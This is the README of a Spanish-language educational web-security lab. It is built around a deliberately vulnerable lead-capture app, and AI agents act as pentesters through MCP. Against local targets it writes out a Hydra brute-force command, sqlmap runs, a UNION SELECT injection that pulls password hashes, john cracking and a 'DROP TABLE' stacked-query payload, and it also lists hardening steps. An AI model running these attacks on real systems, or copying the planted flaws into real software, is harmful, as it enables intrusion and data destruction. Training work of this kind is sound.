Content
# lead-lab-demo — Laboratorio de seguridad web con IA
Entorno de pentesting reproducible con **aplicación web intencionalmente vulnerable** (aproximadamente 30 vectores en tres capas: aplicación, datos e infraestructura). Diseñado para aprender seguridad ofensiva y defensiva usando Claude Code y Gemini CLI como agentes de pentesting via MCP.
> Creado por Andrés Caicedo para la charla **"Seguridad y pentesting de aplicaciones web modernas con IA"** — Tribu iA Colombia, 2026.
> ⚠️ **Solo para uso educativo en entorno local controlado.** La aplicación expone vulnerabilidades reales a propósito. No exponerla a internet ni reutilizar sus patrones en producción.
---
## Tabla de contenidos
1. [¿Qué es este laboratorio?](#1-qué-es-este-laboratorio)
2. [Conceptos clave](#2-conceptos-clave)
3. [Arquitectura del laboratorio](#3-arquitectura-del-laboratorio)
4. [Catálogo de vulnerabilidades](#4-catálogo-de-vulnerabilidades)
5. [Requisitos](#5-requisitos)
6. [Inicio rápido](#6-inicio-rápido)
7. [Acceso a los servicios](#7-acceso-a-los-servicios)
8. [Operador IA — Claude Code y Gemini CLI](#8-operador-ia--claude-code-y-gemini-cli)
9. [Metodología del taller](#9-metodología-del-taller)
10. [Parte 2: Remediación y hardening](#10-parte-2-remediación-y-hardening)
11. [Referencia de comandos](#11-referencia-de-comandos)
12. [Credenciales del lab](#12-credenciales-del-lab)
13. [Estructura del repositorio](#13-estructura-del-repositorio)
---
## 1. ¿Qué es este laboratorio?
### Propósito
Este laboratorio existe para una sola cosa: **que veas vulnerabilidades reales con tus propios ojos**. Una vulnerabilidad explicada es trivia, una vulnerabilidad encontrada se queda.
El repositorio construye una aplicación web deliberadamente insegura (`lead-lab-demo`, un mini portal de captura de leads en Next.js 16 + MySQL) y un entorno completo de herramientas de seguridad para atacarla. Todo corre localmente en Docker Compose, se levanta con un comando y se reinicia limpio en segundos.
### ¿Qué vas a aprender?
Al terminar el taller serás capaz de:
- **Mapear la superficie de ataque** de una aplicación web moderna leyendo su código y usando herramientas de reconocimiento.
- **Ejecutar análisis estático (SAST)** con SonarQube para detectar vulnerabilidades en el código fuente antes de desplegar.
- **Ejecutar análisis dinámico (DAST)** con OWASP ZAP para detectar vulnerabilidades en la aplicación corriendo.
- **Encadenar ataques reales** con Kali Linux: fuerza bruta al login, SQL injection de lectura, SQL injection destructivo, y recuperación con backup.
- **Usar IA como copiloto de pentesting**: Claude Code y Gemini CLI con herramientas de Kali y ZAP accesibles via MCP.
- **Proponer remediación** estructurada para cada hallazgo, mapeada a archivos y líneas de código exactas.
### ¿Para quién es?
El lab está graduado por dificultad para audiencia mixta:
| Nivel | Perfil | Qué te llevas |
|---|---|---|
| **Básico** | Dev, QA, PM técnico sin experiencia en seguridad | Ver la superficie de ataque, entender qué es un header faltante o una cookie insegura |
| **Intermedio** | Dev senior, DevOps, arquitecto | Ejecutar tus primeros ataques con herramientas reales, leer su output con criterio |
| **Avanzado** | Pentesters, security engineers | Encadenar hallazgos en un ataque completo, discutir defensa en profundidad |
---
## 2. Conceptos clave
### 2.1 Superficie de ataque
La superficie de ataque es **todo lo que un atacante puede tocar** desde fuera de tu sistema:
- URLs y endpoints expuestos
- Formularios y APIs
- Headers y cookies
- Puertos abiertos
- Servicios internos accesibles en la red
- La imagen Docker que corre en producción
- Las dependencias del `package.json`
- Los mensajes de error y los logs
**Reducir** la superficie es la primera defensa. **Reconocerla** es el primer paso de cualquier auditoría seria. En este taller empezamos exactamente ahí.
### 2.2 Las tres capas donde viven las vulnerabilidades
```mermaid
graph TD
A["🖥️ Aplicación — código y APIs
validación · autenticación · autorización"]
B["🗄️ Datos — BD y persistencia
cifrado · segregación · backups"]
C["🏗️ Infraestructura — red, OS, contenedores
segmentación · secretos · runtime hardening"]
A --> B --> C
style A fill:#dbeafe,stroke:#3b82f6
style B fill:#dcfce7,stroke:#22c55e
style C fill:#fef9c3,stroke:#eab308
```
Un sistema seguro no es uno con "la capa importante" blindada. Es uno donde **cada capa asume que la siguiente puede fallar**. Eso se llama **defensa en profundidad**, y es el principio que ordena todo el laboratorio. Este lab siembra vulnerabilidades en las tres capas a propósito para que las veas todas.
### 2.3 SAST, DAST y pentest: tres lentes que ven cosas distintas
| Lente | Qué analiza | Qué detecta | Herramienta en este lab |
|---|---|---|---|
| **SAST** (estático) | Código fuente | Lo que está *escrito* mal (sin ejecutar) | SonarQube |
| **SCA** (composición) | Dependencias e imágenes | CVEs, secretos commiteados | Trivy |
| **DAST** (dinámico) | App corriendo | Lo que está *expuesto* mal en tiempo de ejecución | OWASP ZAP |
| **Pentest manual/asistido** | Lógica de negocio | Cadenas de ataque, contexto que las herramientas no entienden | Kali Linux + Claude Code |
**Ninguna alcanza sola.** Un SAST no detecta lo que solo aparece en runtime. Un DAST no ve el código que nunca se ejecuta. El pentest manual encuentra lo que ninguna herramienta automatizada imaginó. Por eso usamos las cuatro y cruzamos su output.
### 2.4 OWASP Top 10:2025
OWASP actualizó el Top 10 en noviembre de 2025. Cambios principales frente a 2021: *Security Misconfiguration* subió a A02, *Vulnerable Components* se amplió como *Software Supply Chain Failures* (A03), SSRF se subsume en Injection y Misconfiguration, aparece **A10 Mishandling of Exceptional Conditions** (stacktraces visibles, errores que filtran información).
| | Categoría | Qué cubre | Ejemplo en este lab |
|---|---|---|---|
| **A01** | Broken Access Control | Usuarios acceden a recursos que no les corresponden | `/admin/*` sin verificación de sesión, IDOR enumerable |
| **A02** | Security Misconfiguration | Configuración insegura por defecto u omitida | Secretos en env vars, headers ausentes, MySQL en red plana |
| **A03** | Software Supply Chain Failures | Dependencias, builds o registries comprometidos | CVEs en imagen base y dependencias npm (Trivy) |
| **A04** | Cryptographic Failures | Cifrado débil, ausente o mal implementado | Passwords en MD5 sin salt, MySQL sin TLS |
| **A05** | Injection | Entrada no confiable interpretada como código | SQLi en `/api/search` y `/api/admin/search`, XSS, command injection |
| **A06** | Insecure Design | Fallas de diseño previas al código | Sin backup activo, pools con privilegios mal segregados |
| **A07** | Authentication Failures | Identidad verificada de forma débil | Login sin rate limit + user enumeration |
| **A08** | Software or Data Integrity Failures | Software o datos sin verificación de integridad | (conceptual en este lab) |
| **A09** | Security Logging and Alerting Failures | Sin trazabilidad ni alertas de incidentes | Sin trazabilidad de intentos fallidos de login |
| **A10** | Mishandling of Exceptional Conditions | Manejo inseguro de errores y excepciones | Stacktraces y errores SQL devueltos al cliente |
### 2.5 ¿Y la IA dónde encaja?
La IA **no encuentra vulnerabilidades por arte de magia**. Lo que hace muy bien en seguridad:
1. **Acelera el reconocimiento** — lee un repo entero y produce un mapa de superficie en minutos.
2. **Cruza señales** — conecta un finding de ZAP con el archivo, el route handler y el query exacto.
3. **Resume y prioriza** — toma cientos de issues de SonarQube y produce un backlog accionable.
4. **Propone remediación** — no solo "qué arreglar" sino "cómo, con su trade-off".
5. **Documenta** — produce el reporte que normalmente nadie escribe porque cuesta horas.
En este lab, **Claude Code y Gemini CLI** corren dentro de un contenedor operador con acceso directo a Kali y ZAP vía MCP. No reemplazan al pentester — le quitan las tareas de volumen sin criterio y lo dejan libre para las que requieren juicio.
---
## 3. Arquitectura del laboratorio
### Servicios
```mermaid
graph TD
app["app\nNext.js 16 · :3000"]
mysql["mysql\nMySQL 8.4"]
sonarqube["sonarqube + sonar_db\nSonarQube Community · :9000"]
lab_net{{"⚠️ lab_net\nred plana — vector I-01"}}
zap["zap\nOWASP ZAP daemon · :8090"]
kali["kali\nKali Linux\nHydra · sqlmap · nmap · john"]
operator["operator\nClaude Code · Gemini CLI\nsonar-scanner · trivy"]
app --- lab_net
mysql --- lab_net
sonarqube --- lab_net
lab_net --- zap
lab_net --- kali
lab_net --- operator
style lab_net fill:#fef3c7,stroke:#f59e0b
style app fill:#dbeafe,stroke:#3b82f6
style operator fill:#f3e8ff,stroke:#a855f7
style kali fill:#fee2e2,stroke:#ef4444
style zap fill:#dcfce7,stroke:#22c55e
```
> **Esa única red plana ya es el primer hallazgo de infraestructura (I-01).** La dejamos así a propósito: en producción, la BD debería estar en una red interna que la app web no comparte con las herramientas de análisis.
### Recursos asignados
| Contenedor | CPUs | RAM | Propósito |
|---|---|---|---|
| `demo-operator` | 4 | 4 GB | Claude Code + Gemini CLI + herramientas SAST |
| `demo-zap` | 2 | 4 GB | OWASP ZAP daemon (API REST en 8090) |
| `demo-kali` | 2 | 2 GB | Herramientas ofensivas (Hydra, sqlmap, nmap...) |
| `demo-app` | sin límite | sin límite | App Next.js objetivo |
| `demo-mysql` | sin límite | sin límite | MySQL 8.4 |
| `demo-sonarqube` | sin límite | 4 GB | SonarQube Community |
---
## 4. Catálogo de vulnerabilidades
El laboratorio siembra 30 vulnerabilidades clasificadas en tres capas. Cada una tiene un ID, nivel de dificultad y la herramienta sugerida para encontrarla.
### Capa aplicación
| ID | Nivel | Descripción | OWASP 2025 | Herramienta |
|---|---|---|---|---|
| A-01 | Básico | Validación servidor insuficiente en el formulario público | A05 | ZAP, curl |
| A-02 | Intermedio | SQLi UNION/error-based en `/api/search` → exfiltra `admin_users` y hashes MD5 | A05 | sqlmap, manual |
| A-03 | Básico | Login sin rate limit → fuerza bruta con `rockyou.txt` | A07 | **Hydra** |
| A-04 | Básico | Broken access control: `/admin/*` y `/api/export` accesibles sin sesión | A01 | navegador, curl |
| A-05 | Básico | IDOR: `/admin/leads/[id]` con ID enumerable | A01 | manual |
| A-06 | Intermedio | XSS reflejado en parámetro de búsqueda | A05 | ZAP, manual |
| A-07 | Básico | `/api/debug/env` filtra variables de entorno con secretos | A02 | curl |
| A-08 | Avanzado | `/api/debug/query` ejecuta SQL arbitrario sin auth | A02/A05 | curl |
| A-09 | Intermedio | `/api/debug/ping` con command injection (también SSRF) | A05 | curl |
| A-10 | Avanzado | User enumeration: mensajes distintos para "usuario no existe" vs "password incorrecto" | A07 | manual |
| A-11 | Básico | Stacktraces y errores SQL devueltos al cliente | A10 | navegador, ZAP |
| A-12 | Básico | Cookie `lab_session` sin `Secure`, sin `SameSite` adecuado | A02 | ZAP pasivo |
| A-13 | Básico | Headers de seguridad ausentes (CSP, HSTS, X-Frame-Options...) | A02 | ZAP pasivo |
| A-14 | Avanzado | Open redirect en parámetro `?next=` del login | A01 | manual |
| A-15 | Intermedio | CSRF: formularios admin sin token | A01 | manual |
| A-16 | Avanzado | **SQLi destructivo con stacked queries en `/api/admin/search`** (`DROP TABLE leads`) | A05 | sqlmap + cookie, manual |
| A-17 | Intermedio | CVEs en imagen base y dependencias npm | A03 | **Trivy** |
### Capa datos
| ID | Nivel | Descripción | OWASP 2025 | Herramienta |
|---|---|---|---|---|
| D-01 | Básico | Contraseñas en MD5 sin salt en `admin_users` | A04 | john + SQLi |
| D-02 | Básico | Datos sensibles sin enmascaramiento (cédulas ficticias, teléfonos) | A04 | navegación |
| D-03 | Intermedio | Conexión MySQL sin TLS (tráfico en claro) | A04 | tcpdump |
| D-04 | Básico | Usuario de app con permisos amplios sobre la BD | A02 | revisión |
| D-05 | Intermedio | Sin estrategia activa de backup (riesgo demostrado por SQLi destructivo) | A06 | demo en vivo |
### Capa infraestructura
| ID | Nivel | Descripción | Herramienta |
|---|---|---|---|
| I-01 | Básico | Red plana `lab_net`: todos los servicios en la misma red | nmap desde Kali |
| I-02 | Básico | App corre como root (UID 0) | `docker exec id` |
| I-03 | Básico | Secretos en variables de entorno del compose | inspección |
| I-04 | Intermedio | MySQL alcanzable desde toda la red del lab | nmap |
| I-05 | Intermedio | Imágenes sin pin estricto, sin escaneo | Trivy |
| I-06 | Intermedio | Sin healthchecks ni límites de recursos en la app | inspección |
| I-07 | Avanzado | Filesystem escribible en la app (`read_only: false`) | manual |
| I-08 | Avanzado | Sin `cap_drop` ni `no-new-privileges` | manual |
| I-09 | Intermedio | SonarQube en la misma red plana con credenciales por defecto | navegador |
---
## 5. Requisitos
- **Docker** >= 24 y **Docker Compose** >= 2.20
- **8 GB RAM** disponibles (SonarQube requiere 4 GB)
- Puertos libres en el host: `3000`, `8090`, `9000`
- Suscripción **Claude Pro** o cuenta **Google** (para autenticar los CLIs de IA en el operador)
---
## 6. Inicio rápido
```bash
# Clonar el repositorio
git clone <url-del-repo>
cd lead-lab-demo
# Levantar el laboratorio completo
make up
```
El primer build tarda 5–10 minutos (descarga de imágenes base + build de Kali y operator). Los builds posteriores son rápidos gracias al cache de Docker.
Cuando veas esto, el lab está listo:
```
Lab levantado. App: http://localhost:3000 | SonarQube: http://localhost:9000 | ZAP API: http://localhost:8090
```
### Verificar que todo está corriendo
```bash
docker compose ps
```
Todos los servicios deben aparecer como `Up` o `Up (healthy)`. SonarQube tarda 2 minutos adicionales en estar lista la primera vez.
---
## 7. Acceso a los servicios
| Servicio | URL | Credenciales |
|---|---|---|
| **App pública** | http://localhost:3000 | — |
| **Admin login** | http://localhost:3000/admin/login | `admin@demo.local` / `admin123` |
| **OWASP ZAP API** | http://localhost:8090/JSON/core/view/version/ | Sin auth |
| **SonarQube** | http://localhost:9000 | `admin` / `admin` → cambiar en primer login |
### SonarQube — primer login
Al entrar por primera vez, SonarQube pedirá cambiar la contraseña. Para el lab usa `Admin1234567890-`. Luego crea un token en **Mi Cuenta → Seguridad → Generar Token** — lo necesitarás para `make sonar-scan`.
### OWASP ZAP — modo daemon
ZAP corre en modo daemon (sin GUI). La API REST está disponible en `http://localhost:8090/JSON/`. Para verificar:
```bash
curl -s http://localhost:8090/JSON/core/view/version/
# → {"version":"2.17.0"}
```
Los scans se lanzan desde el operador (vía MCP o `make`). Los reportes HTML y JSON quedan en `reports/zap/` y se pueden abrir en el navegador.
---
## 8. Operador IA — Claude Code y Gemini CLI
El contenedor `demo-operator` incluye **Claude Code** y **Gemini CLI**, ambos configurados con dos MCP servers que ejecutan herramientas de pentesting directamente sobre los contenedores Kali y ZAP del lab.
### MCP Servers disponibles en ambos CLIs
Los MCP servers permiten que el CLI de IA llame a herramientas de Kali y ZAP como si fueran funciones nativas. El operador tiene Docker CLI y socket montado — las llamadas se ejecutan en los contenedores correspondientes sin salir de la red `lab_net`.
| Servidor | Herramientas |
|---|---|
| `kali-lab` | `kali_nmap`, `kali_gobuster`, `kali_nikto`, `kali_whatweb`, `kali_hydra`, `kali_sqlmap`, `kali_john`, `kali_tcpdump`, `kali_exec` |
| `zap-lab` | `zap_baseline_scan`, `zap_full_scan`, `zap_list_alerts`, `zap_spider`, `zap_export_report` |
### Bootstrap automático
Al arrancar, el operador ejecuta `bootstrap.sh` automáticamente:
- Valida todas las herramientas (claude, gemini, sonar-scanner, trivy, docker, python3+mcp)
- Registra los MCP servers en Claude Code (`claude mcp add`)
- Escribe los MCP servers en `/root/.gemini/settings.json` para Gemini CLI
- Muestra instrucciones de autenticación
Ambas configuraciones quedan en volúmenes persistentes (`claude_home`, `gemini_home`) y sobreviven a recreates del contenedor.
```bash
# Ver logs del bootstrap
docker logs demo-operator
```
### Claude Code — autenticación OAuth (suscripción Pro)
No requiere API key. Usa tu cuenta Claude Pro.
```bash
docker exec -it demo-operator bash
claude
# Dentro de Claude Code:
/login
```
El CLI muestra un código de 8 caracteres. Abre **https://claude.ai/code** en el navegador e ingrésalo. Las credenciales quedan guardadas — no tendrás que repetir este paso.
```bash
# Verificar que los MCP servers están conectados
docker exec -w /workspace demo-operator claude mcp list
# kali-lab ✓ Connected
# zap-lab ✓ Connected
```
### Gemini CLI — autenticación Google
```bash
docker exec -it demo-operator bash
# Opción A: OAuth con cuenta Google
gemini # abre flujo OAuth en el navegador
# Opción B: API key gratuita (https://ai.google.dev)
export GEMINI_API_KEY=<tu-key>
gemini
```
### Skills disponibles en Claude Code
Los skills son playbooks metodológicos que Claude Code puede ejecutar con el comando `/nombre-del-skill`:
| Skill | Propósito |
|---|---|
| `/recon-web` | Mapa de superficie de ataque desde el código fuente |
| `/zap-perimeter-review` | Análisis y priorización de hallazgos de ZAP |
| `/sonar-sast-review` | Revisión de issues de SonarQube por severidad y capa |
| `/kali-lab-pentest` | Coordinación de reconocimiento desde Kali |
| `/map-findings-to-code` | Hallazgo → archivo exacto → causa → fix |
| `/harden-from-findings` | Backlog priorizado P1/P2/P3 |
### Prompt de inicio sugerido
Pega esto en Claude Code o Gemini CLI dentro del operador:
```
Eres el pentester del laboratorio TribuIA. La app vulnerable corre en http://app:3000.
Fase 1 — Reconocimiento pasivo: ejecuta zap_baseline_scan y lista alertas con zap_list_alerts.
Fase 2 — Reconocimiento activo: kali_whatweb, kali_nmap (targets: app, mysql), kali_gobuster, kali_nikto.
Fase 3 — Explotación: kali_sqlmap en /api/search?q=test, kali_hydra contra admin@demo.local.
Documenta cada hallazgo en reports/findings/ con el formato del CLAUDE.md.
Al final genera reports/findings/00-resumen.md con el resumen ejecutivo.
```
---
## 9. Metodología del taller
El taller sigue cuatro pasos que se ejecutan dos veces: primero sobre la app vulnerable (encontrar), luego sobre la app endurecida (revalidar).
```mermaid
flowchart LR
A["🔍 Reconocer\nmapear superficie"] --> B["🎯 Encontrar\nSAST + SCA + DAST"]
B --> C["✅ Validar\nmanual + encadenar"]
C --> D["🔧 Remediar\ncódigo + infra"]
subgraph claude["Claude Code — skills + MCP + reports"]
A
B
C
D
end
```
### Fase 0: Preparación — backup antes de cualquier acción destructiva
Antes de empezar los ataques, respalda la base de datos. Si el SQLi destructivo borra los datos, `make db-restore` los recupera en segundos sin reiniciar el lab.
```bash
make db-backup
# → db/backups/backup_YYYYMMDD_HHMMSS.sql
```
### Fase 1: Reconocimiento visual y básico (nivel Básico)
**Objetivo:** mapear la superficie sin usar herramientas especializadas. Cualquier persona con un navegador puede hacer esto.
```bash
# Ver la app pública
open http://localhost:3000
# Visitar el panel admin SIN estar logueado (broken access control)
open http://localhost:3000/admin/leads # A-04
open http://localhost:3000/admin/leads/1 # A-05 IDOR
# Filtrar secretos de entorno
curl http://localhost:3000/api/debug/env # A-07
# Inspeccionar cookies en DevTools → flagged sin Secure/SameSite # A-12
```
**¿Qué buscas?** Rutas que cargan sin login, mensajes de error verbosos, datos sensibles en respuestas, cookies sin flags de seguridad.
**Con gobuster** (desde Kali):
```bash
docker exec demo-kali gobuster dir \
-u http://app:3000 \
-w /usr/share/seclists/Discovery/Web-Content/common.txt
```
### Fase 2: DAST pasivo — OWASP ZAP (nivel Básico)
**Objetivo:** detectar configuraciones inseguras en la app corriendo sin ejecutar ningún ataque activo.
ZAP en modo pasivo (baseline) solo observa y analiza — no envía payloads ni ataca. Es seguro para cualquier entorno.
```bash
# Lanzar baseline scan (2-3 min)
make zap-baseline
# → reportes en reports/zap/baseline-*.html y reports/zap/baseline-*.json
```
**O desde Claude Code/Gemini:**
```
Ejecuta zap_baseline_scan contra http://app:3000, luego lista las alertas
con zap_list_alerts y documenta los hallazgos en reports/findings/.
```
**¿Qué detecta el baseline?** Headers de seguridad faltantes (A-13), cookies sin flags (A-12), información sensible expuesta, rutas peligrosas.
**Ver el reporte:**
```bash
# Abrir el HTML generado en el navegador
ls reports/zap/*.html
```
### Fase 3: SAST y SCA — SonarQube y Trivy (nivel Intermedio)
**Objetivo:** analizar el código fuente y las dependencias sin ejecutar la app.
**SAST con SonarQube:**
```bash
# Requiere token generado en SonarQube → Mi Cuenta → Seguridad → Generar Token
SONAR_TOKEN=<tu-token> make sonar-scan
```
Luego abre http://localhost:9000 y navega al proyecto `lead-lab-demo`. Busca en:
- **Security Hotspots** → SQL injection, hardcoded credentials
- **Issues** → filtrar por severidad `BLOCKER` y `CRITICAL`
**SCA con Trivy:**
```bash
# Escaneo de la imagen Docker (CVEs en la imagen base)
docker exec demo-operator trivy image demo-app:latest
# Escaneo del código fuente (dependencias npm, secretos)
docker exec demo-operator trivy fs /workspace/app
```
**¿Qué detectan?** Vulnerabilidades conocidas en librerías npm, secretos commiteados en el código, dependencias con CVEs, configuraciones inseguras.
### Fase 4: Reconocimiento activo — Kali Linux (nivel Intermedio)
**Objetivo:** mapear la red del lab y perfilar la app con herramientas ofensivas.
```bash
# Fingerprinting tecnológico
docker exec demo-kali whatweb -v http://app:3000 # A-17
# Descubrimiento de puertos (ver MySQL expuesto en la red interna)
docker exec demo-kali nmap -sV app mysql # I-04
# Escaneo web básico
docker exec demo-kali nikto -h http://app:3000 # A-11, A-12, A-13
# Captura de tráfico MySQL (sin TLS)
docker exec demo-kali timeout 10 tcpdump -i eth0 port 3306 -c 20 # D-03
```
**¿Qué encuentras?** Stack tecnológico (Next.js, versiones exactas), MySQL expuesto en la red, tráfico de BD en texto claro, headers inseguros.
### Fase 5: Ataque al login — Hydra (nivel Intermedio)
**Objetivo:** demostrar que un login sin rate limiting es rompible con diccionario en segundos.
La aplicación no limita intentos fallidos. Hydra lo aprovecha para probar contraseñas en paralelo contra el endpoint de login.
```bash
docker exec demo-kali hydra \
-l admin@demo.local \
-P /usr/share/wordlists/rockyou.txt \
-s 3000 app \
http-post-form "/api/admin/login:email=^USER^&password=^PASS^:Contraseña incorrecta" \
-t 4
# → [3000][http-post-form] host: app login: admin@demo.local password: admin123
```
**¿Cuánto tarda?** `admin123` está entre las primeras 100 contraseñas de `rockyou.txt`. Hydra lo encuentra en segundos.
**Discusión:** ¿Qué habría cortado este ataque? Rate limiting (ej: máx 5 intentos / 60 s), CAPTCHA, bloqueo temporal por IP, 2FA.
### Fase 6: SQL Injection — exfiltración (nivel Intermedio)
**Objetivo:** extraer datos de la base de datos usando el endpoint de búsqueda pública.
El endpoint `/api/search` construye la query concatenando strings sin parametrizar. Esto permite inyectar SQL directamente.
```bash
# Detección automática con sqlmap
docker exec demo-kali sqlmap \
-u "http://app:3000/api/search?q=test" \
--dbs --batch
# Exfiltración manual: UNION SELECT para leer admin_users
curl "http://localhost:3000/api/search?q=' UNION SELECT email,password_hash,3,4,5,6,7 FROM admin_users--+"
```
Obtienes los hashes MD5 de todas las contraseñas de admin. Craquéalos:
```bash
# Guardar los hashes y craquear con john
docker exec demo-kali bash -c "
echo 'admin@demo.local:0192023a7bbd73250516f069df18b500' > /tmp/hashes.txt
john --format=Raw-MD5 --wordlist=/usr/share/wordlists/rockyou.txt /tmp/hashes.txt
john --format=Raw-MD5 --show /tmp/hashes.txt
"
# → admin@demo.local:admin123
```
**¿Por qué funciona?** MD5 sin salt es reversible con diccionario en segundos. Con bcrypt + salt único el mismo ataque tomaría años.
### Fase 7: Cadena completa — SQLi destructivo (nivel Avanzado)
**Objetivo:** usar la sesión obtenida por Hydra para ejecutar el ataque más destructivo del lab.
Esta es la única ruta admin que sí verifica sesión (`/api/admin/search`) — precisamente para forzar la cadena: necesitas romper el login antes de poder destruir datos.
```mermaid
flowchart TD
A["🔓 Hydra encuentra admin123\nmake db-backup previo"]
B["🍪 Login válido → cookie lab_session"]
C["💉 /api/admin/search\ncon stacked queries"]
D["💀 DROP TABLE leads\napp rota — /admin/leads falla"]
E["✅ make db-restore\nlab limpio en segundos"]
A --> B --> C --> D --> E
style D fill:#fee2e2,stroke:#ef4444,color:#991b1b
style E fill:#dcfce7,stroke:#22c55e,color:#166534
style A fill:#fef3c7,stroke:#f59e0b
```
```bash
# Paso 1: obtener cookie de sesión (login con credenciales encontradas por Hydra)
TOKEN=$(curl -s -c /tmp/cookies.txt -X POST http://localhost:3000/api/admin/login \
-H "Content-Type: application/json" \
-d '{"email":"admin@demo.local","password":"admin123"}' | jq -r '.token // empty')
# Paso 2: SQLi destructivo con stacked queries
curl "http://localhost:3000/api/admin/search?q='; DROP TABLE leads;--" \
-H "Cookie: lab_session=$(cat /tmp/cookies.txt | grep lab_session | awk '{print $7}')"
# Paso 3: verificar el impacto — la app está rota
open http://localhost:3000/admin/leads # Error de tabla inexistente
# Paso 4: restaurar el lab
make db-restore
open http://localhost:3000/admin/leads # Lab limpio en segundos
```
**Discusión:** ¿Qué habría cortado esta cadena? Cualquiera de: parametrizar las queries, desactivar `multipleStatements` en el pool admin, rate limit en el login, hashing fuerte (no se puede craquear), middleware de sesión real en todas las rutas admin.
### Fase 8: Análisis con IA — Claude Code como copiloto
Con todos los hallazgos recolectados, Claude Code cruza los reportes, mapea cada hallazgo al archivo exacto y produce el backlog de remediación.
```bash
docker exec -it demo-operator bash
claude
```
```
# Skill para cruzar hallazgos con el código:
/map-findings-to-code
# Skill para generar backlog priorizado P1/P2/P3:
/harden-from-findings
# Skill para analizar reporte de ZAP:
/zap-perimeter-review
# Skill para priorizar issues de SonarQube:
/sonar-sast-review
```
Claude Code leerá los reportes en `reports/zap/` y `reports/sonar/`, cruzará con el código fuente en `app/`, y producirá un reporte estructurado en `reports/findings/` con el formato definido en `.claude/CLAUDE.md`.
### DAST activo — ZAP Full Scan (nivel Avanzado, opcional)
El full scan incluye spider + escaneo activo (envía payloads reales). Tarda entre 5 y 20 minutos.
```bash
make zap-full
# o desde Claude Code:
# Ejecuta zap_full_scan contra http://app:3000
```
> Solo en entorno local. El full scan envía payloads agresivos que pueden afectar datos.
---
## 10. Parte 2: Remediación y hardening
Con los hallazgos mapeados al código, esta fase aplica las correcciones y revalida con las mismas herramientas.
**Cambios clave a aplicar:**
| Área | Fix |
|---|---|
| SQL Injection | Parametrizar todas las queries, desactivar `multipleStatements` |
| Autenticación | Migrar MD5 a `bcrypt`/`argon2` con salt único, agregar rate limiting y bloqueo temporal |
| Autorización | Middleware real de sesión en `/admin/*` y `/api/admin/*` |
| Debug endpoints | Eliminar `/api/debug/*` completamente |
| Headers | Agregar CSP, HSTS, X-Frame-Options, X-Content-Type-Options en `next.config.ts` |
| Cookies | Agregar `Secure` + `SameSite=Strict` + `HttpOnly` |
| Runtime | Usuario no-root + `read_only: true` + `cap_drop: ALL` + `no-new-privileges` |
| Red | Separar `edge_net` (app, ZAP, Kali) de `data_net` interna (app, mysql) |
**Metodología de revalidación:**
```bash
# 1. Revalidar con ZAP
make zap-baseline && make zap-full
# 2. Revalidar con SonarQube
SONAR_TOKEN=<token> make sonar-scan
# 3. Revalidar con Kali
docker exec demo-kali hydra -l admin@demo.local -P /usr/share/wordlists/rockyou.txt \
-s 3000 app http-post-form "/api/admin/login:email=^USER^&password=^PASS^:error" -t 4
# → Sin resultados (rate limit activo)
# 4. Comparar antes/después con Claude Code
/harden-from-findings
```
---
## 11. Referencia de comandos
### Lab
```bash
make up # levantar el lab completo (con build)
make down # bajar el lab
make reset # down -v + up (limpia volúmenes, reinicia todo)
make build # rebuild sin cache
make logs # logs de la app en tiempo real
```
### Base de datos
```bash
make db-backup # backup → db/backups/backup_YYYYMMDD_HHMMSS.sql
make db-restore # restaurar el último backup (sin reiniciar el compose)
make db-reset # eliminar volumen MySQL y reiniciar con seed
```
### Análisis de seguridad
```bash
make zap-baseline # ZAP spider + passive scan → reports/zap/
make zap-full # ZAP spider + active scan → reports/zap/
SONAR_TOKEN=<tok> make sonar-scan # SAST con SonarQube desde el operador
```
### Contenedores
```bash
# Entrar al operador (Claude Code, Gemini CLI, sonar-scanner, trivy)
docker exec -it demo-operator bash
# Entrar a Kali Linux directamente
docker exec -it demo-kali bash
# Ver logs del bootstrap del operador
docker logs demo-operator
# Verificar MCP servers en Claude Code
docker exec -w /workspace demo-operator claude mcp list
```
### Trivy
```bash
docker exec demo-operator trivy image demo-app:latest # CVEs en imagen
docker exec demo-operator trivy fs /workspace/app # secretos y deps
```
---
## 12. Credenciales del lab
Todas las credenciales son ficticias y existen para demostrar vulnerabilidades.
| Servicio | Usuario | Password | Vector que ilustra |
|---|---|---|---|
| App admin | admin@demo.local | admin123 | MD5 sin salt (A-07), fuerza bruta (A-03) |
| App editor | editor@demo.local | qwerty | Contraseña débil |
| App viewer | viewer@demo.local | Password1 | Contraseña predecible |
| MySQL root | root | rootpass | Secretos en env vars (I-03) |
| MySQL app | demo_user | demo_pass | Permisos amplios (D-04) |
| SonarQube | admin | admin | Credenciales por defecto (I-09) |
| ZAP API | — | Sin auth | API sin autenticación (por diseño del lab) |
---
## 13. Estructura del repositorio
```
lead-lab-demo/
├── app/ # Next.js 16 + TypeScript + Tailwind v4 + shadcn/ui
│ ├── app/ # App Router: páginas y API routes
│ │ ├── page.tsx # Formulario público de captura
│ │ ├── admin/
│ │ │ ├── login/ # Login admin (MD5, sin rate limit)
│ │ │ └── leads/ # Listado + detalle (sin verificación de sesión)
│ │ └── api/
│ │ ├── search/ # SQLi de lectura (A-02)
│ │ ├── admin/search/ # SQLi destructivo post-login (A-16)
│ │ ├── admin/login/ # Endpoint de autenticación débil
│ │ ├── export/ # Exportación sin auth (A-04)
│ │ └── debug/ # env · query · ping (A-07, A-08, A-09)
│ ├── components/ # Componentes React y shadcn/ui
│ ├── lib/
│ │ ├── db.ts # Dos pools: dbReadPool y dbAdminPool (RI-08)
│ │ └── auth.ts # Cookie de sesión débil
│ ├── sonar-project.properties # Configuración de SAST
│ └── Dockerfile # Imagen con root y fs escribible (I-02, I-07)
│
├── db/
│ ├── init.sql # Esquema: leads + admin_users (MD5 sin salt)
│ ├── seed/seed.sql # 30 leads ficticios + 3 usuarios admin
│ ├── backup.sh # Script de backup
│ └── restore.sh # Script de restauración
│
├── docker/
│ ├── kali/ # Imagen Kali con tooling de pentesting
│ │ ├── Dockerfile
│ │ └── setup.sh
│ ├── operator/ # Imagen del operador (Claude Code, Gemini, sonar-scanner, trivy)
│ │ ├── Dockerfile
│ │ ├── bootstrap.sh # Configura MCP servers al arrancar
│ │ └── tools/
│ │ ├── mcp-kali.py # MCP server para Kali (9 herramientas)
│ │ ├── mcp-zap.py # MCP server para ZAP (5 herramientas)
│ │ ├── zap-scan.py # CLI para make zap-baseline/full
│ │ ├── run-sonar-scan.sh
│ │ └── lab-report.sh
│ └── zap/
│ └── config.xml # Config base de ZAP (referencia)
│
├── reports/ # Generados en cada sesión (no se versionan)
│ ├── zap/ # Reportes de OWASP ZAP
│ ├── sonar/ # Exports de SonarQube
│ ├── findings/ # Hallazgos documentados por Claude Code
